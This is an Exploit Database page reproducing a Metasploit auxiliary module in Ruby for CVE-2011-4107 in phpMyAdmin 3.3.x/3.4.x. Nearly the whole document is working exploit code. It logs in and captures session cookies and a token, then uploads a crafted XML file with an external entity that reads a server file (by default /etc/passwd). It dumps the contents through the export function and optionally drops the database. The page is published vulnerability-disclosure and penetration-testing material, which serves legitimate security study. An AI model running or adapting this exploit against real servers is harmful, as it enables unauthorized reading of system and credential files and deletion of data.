phpMyAdmin 3.3.x/3.4.x – Local File Inclusion via XML External Entity Injection (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Marco Batista
  日期： 2012-01-14
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18371/

• # Exploit Title: poc-phpmyadmin-local-file-inclusion-via-xxe-injection
  # Date: 12-01-2012
  # Author: Marco Batista
  # Blog Link: http://www.secforce.com/blog/2012/01/cve-2011-4107-poc-phpmyadmin-local-file-inclusion-via-xxe-injection/
  # Tested on: Windows and Linux - phpmyadmin versions: 3.3.6, 3.3.10, 3.4.0, 3.4.5, 3.4.7
  # CVE : CVE-2011-4107
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Auxiliary
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize
  		super(
  			'Name'=> 'phpMyAdmin 3.3.X and 3.4.X - Local File Inclusion via XXE Injection',
  			'Version' => '1.0',
  			'Description' => %q{Importing a specially-crafted XML file which contains an XML entity injection permits to retrieve a local file (limited by the privileges of the user running the web server).
  			The attacker must be logged in to MySQL via phpMyAdmin.
  			Works on Windows and Linux Versions 3.3.X and 3.4.X},
  			'References'=>
  				[
  					[ 'CVE', '2011-4107' ],
  [ 'OSVDB', '76798' ],
  [ 'BID', '50497' ],
  [ 'URL', 'http://secforce.com/research/'],
  				],
  			'Author'=> [ 'Marco Batista' ],
  			'License' => MSF_LICENSE
  			)
  
  		register_options(
  			[
  				Opt::RPORT(80),
  				OptString.new('FILE', [ true,"File to read", '/etc/passwd']),
  				OptString.new('USER', [ true,"Username", 'root']),
  				OptString.new('PASS', [ false,"Password", 'password']),
  				OptString.new('DB', [ true,"Database to use/create", 'hddaccess']),
  				OptString.new('TBL', [ true,"Table to use/create and read the file to", 'files']),
  				OptString.new('APP', [ true,"Location for phpMyAdmin URL", '/phpmyadmin']),
  				OptString.new('DROP', [ true,"Drop database after reading file?", 'true']),
  			],self.class)
  	end
  
  	def loginprocess
  		# HTTP GET TO GET SESSION VALUES
  		getresponse = send_request_cgi({
  			'uri' => datastore['APP']+'/index.php',
  			'method'=> 'GET',
  			'version' => '1.1',
  			}, 25)
  
  		if (getresponse.nil?)
  			print_error("no response for #{ip}:#{rport}")
  		elsif (getresponse.code == 200)
  			print_status("Received #{getresponse.code} from #{rhost}:#{rport}")
  		elsif (getresponse and getresponse.code == 302 or getresponse.code == 301)
  			print_status("Received 302 to #{getresponse.headers['Location']}")
  		else
  			print_error("Received #{getresponse.code} from #{rhost}:#{rport}")
  		end
  
  		valuesget = getresponse.headers["Set-Cookie"]
  		varsget = valuesget.split(" ")
  
  		#GETTING THE VARIABLES NEEDED
  		phpMyAdmin = varsget.grep(/phpMyAdmin/).last
  		pma_mcrypt_iv = varsget.grep(/pma_mcrypt_iv/).last
  		# END HTTP GET 
  
  		# LOGIN POST REQUEST TO GET COOKIE VALUE
  		postresponse = send_request_cgi({
  			'uri' => datastore['APP']+'/index.php',
  			'method'=> 'POST',
  			'version' => '1.1',
  			'headers' =>{
  					'Content-Type' => 'application/x-www-form-urlencoded',
  					'Cookie' => "#{pma_mcrypt_iv} #{phpMyAdmin}"
  		},
  			'data'=> 'pma_username='+datastore['USER']+'&pma_password='+datastore['PASS']+'&server=1'
  			}, 25)		
  
  		if (postresponse["Location"].nil?)
  			print_status("TESTING#{postresponse.body.split("'").grep(/token/).first.split("=").last}")
  			tokenvalue = postresponse.body.split("'").grep(/token/).first.split("=").last			
  		else
  			tokenvalue = postresponse["Location"].split("&").grep(/token/).last.split("=").last
  		end
  		
  		
  		valuespost = postresponse.headers["Set-Cookie"]
  		varspost = valuespost.split(" ")
  		
  		#GETTING THE VARIABLES NEEDED
  		pmaUser = varspost.grep(/pmaUser-1/).last
  		pmaPass = varspost.grep(/pmaPass-1/).last
  
  		return "#{pma_mcrypt_iv} #{phpMyAdmin} #{pmaUser} #{pmaPass}",tokenvalue
  		# END OF LOGIN POST REQUEST
  		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, Rex::ConnectionError =>e
  			print_error(e.message)
  		rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Errno::ECONNABORTED, Errno::ECONNREFUSED, Errno::EHOSTUNREACH =>e
  			print_error(e.message)
  	end
  
  	def readfile(cookie,tokenvalue)
  		#READFILE TROUGH EXPORT FUNCTION IN PHPMYADMIN
  		getfiles = send_request_cgi({
  			'uri' => datastore['APP']+'/export.php',
  			'method'=> 'POST',
  			'version' => '1.1',
  			'headers' =>{
  					'Cookie' => cookie
  			},
  			'data'=> 'db='+datastore['DB']+'&table='+datastore['TBL']+'&token='+tokenvalue+'&single_table=TRUE&export_type=table&sql_query=SELECT+*+FROM+%60files%60&what=texytext&texytext_structure=something&texytext_data=something&texytext_null=NULL&asfile=sendit&allrows=1&codegen_structure_or_data=data&texytext_structure_or_data=structure_and_data&yaml_structure_or_data=data'
  			}, 25)
  		
  		if (getfiles.body.split("\n").grep(/== Dumping data for table/).empty?)
  			print_error("Error reading the file... not enough privilege? login error?")			
  		else
  			print_status("#{getfiles.body}")
  		end
  	end
  
  
  	def dropdatabase(cookie,tokenvalue)
  		dropdb = send_request_cgi({
  			'uri' => datastore['APP']+'/sql.php?sql_query=DROP+DATABASE+%60'+datastore['DB']+'%60&back=db_operations.php&goto=main.php&purge=1&token='+tokenvalue+'&is_js_confirmed=1&ajax_request=false',
  			'method'=> 'GET',
  			'version' => '1.1',
  			'headers' =>{
  					'Cookie' => cookie
  			},
  			}, 25)
  
  			print_status("Dropping database: "+datastore['DB'])
  	end
  
  	def run
  		cookie,tokenvalue = loginprocess()
  	
  		print_status("Login at #{datastore['RHOST']}:#{datastore['RPORT']}#{datastore['APP']} using #{datastore['USER']}:#{datastore['PASS']}")	
  	
  		craftedXML ="------WebKitFormBoundary3XPL01T\n"
  		craftedXML << "Content-Disposition: form-data; name=\"token\"\n\n"
  		craftedXML << tokenvalue+"\n"
  		craftedXML << "------WebKitFormBoundary3XPL01T\n"
  		craftedXML << "Content-Disposition: form-data; name=\"import_type\"\n\n"
  		craftedXML << "server\n"
  		craftedXML << "------WebKitFormBoundary3XPL01T\n"
  		craftedXML << "Content-Disposition: form-data; name=\"import_file\"; filename=\"exploit.xml\"\n"
  		craftedXML << "Content-Type: text/xml\n\n"
  		craftedXML << "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n"
  		craftedXML << "<!DOCTYPE ficheiro [\n"
  		craftedXML << "<!ENTITY conteudo SYSTEM \"file:///#{datastore['FILE']}\" >]>\n"
  		craftedXML << "<pma_xml_export version=\"1.0\" xmlns:pma=\"http://www.phpmyadmin.net/some_doc_url/\">\n"
  		craftedXML << "<pma:structure_schemas>\n"
  		craftedXML << "<pma:database name=\""+datastore['DB']+"\" collation=\"utf8_general_ci\" charset=\"utf8\">\n"
  		craftedXML << "<pma:table name=\""+datastore['TBL']+"\">\n"
  		craftedXML << "CREATE TABLE `"+datastore['TBL']+"` (`file` varchar(20000) NOT NULL);\n"
  		craftedXML << "</pma:table>\n"
  		craftedXML << "</pma:database>\n"
  		craftedXML << "</pma:structure_schemas>\n"
  		craftedXML << "<database name=\""+datastore['DB']+"\">\n"
  		craftedXML << "<table name=\""+datastore['TBL']+"\">\n"
  		craftedXML << "<column name=\"file\">&conteudo;</column>\n"
  		craftedXML << "</table>\n"
  		craftedXML << "</database>\n"
  		craftedXML << "</pma_xml_export>\n\n"
  		craftedXML << "------WebKitFormBoundary3XPL01T\n"
  		craftedXML << "Content-Disposition: form-data; name=\"format\"\n\n"
  		craftedXML << "xml\n"
  		craftedXML << "------WebKitFormBoundary3XPL01T\n"
  		craftedXML << "Content-Disposition: form-data; name=\"csv_terminated\"\n\n"
  		craftedXML << ",\n\n"
  		craftedXML << "------WebKitFormBoundary3XPL01T--"
  		
  	
  		print_status("Grabbing that #{datastore['FILE']} you want...")
  		res = send_request_cgi({
  			'uri' => datastore['APP']+'/import.php',
  			'method'=> 'POST',
  			'version' => '1.1',
  			'headers' =>{
  					'Content-Type' => 'multipart/form-data; boundary=----WebKitFormBoundary3XPL01T',
  					'Cookie' => cookie
  			},
  			'data'=> craftedXML
  		}, 25)
  
  		readfile(cookie,tokenvalue)
  
  		if (datastore['DROP'] == "true")
  			dropdatabase(cookie,tokenvalue)
  		else
  			print_status("Database was not dropped: "+datastore['DB'])			
  		end
  
  	end
  end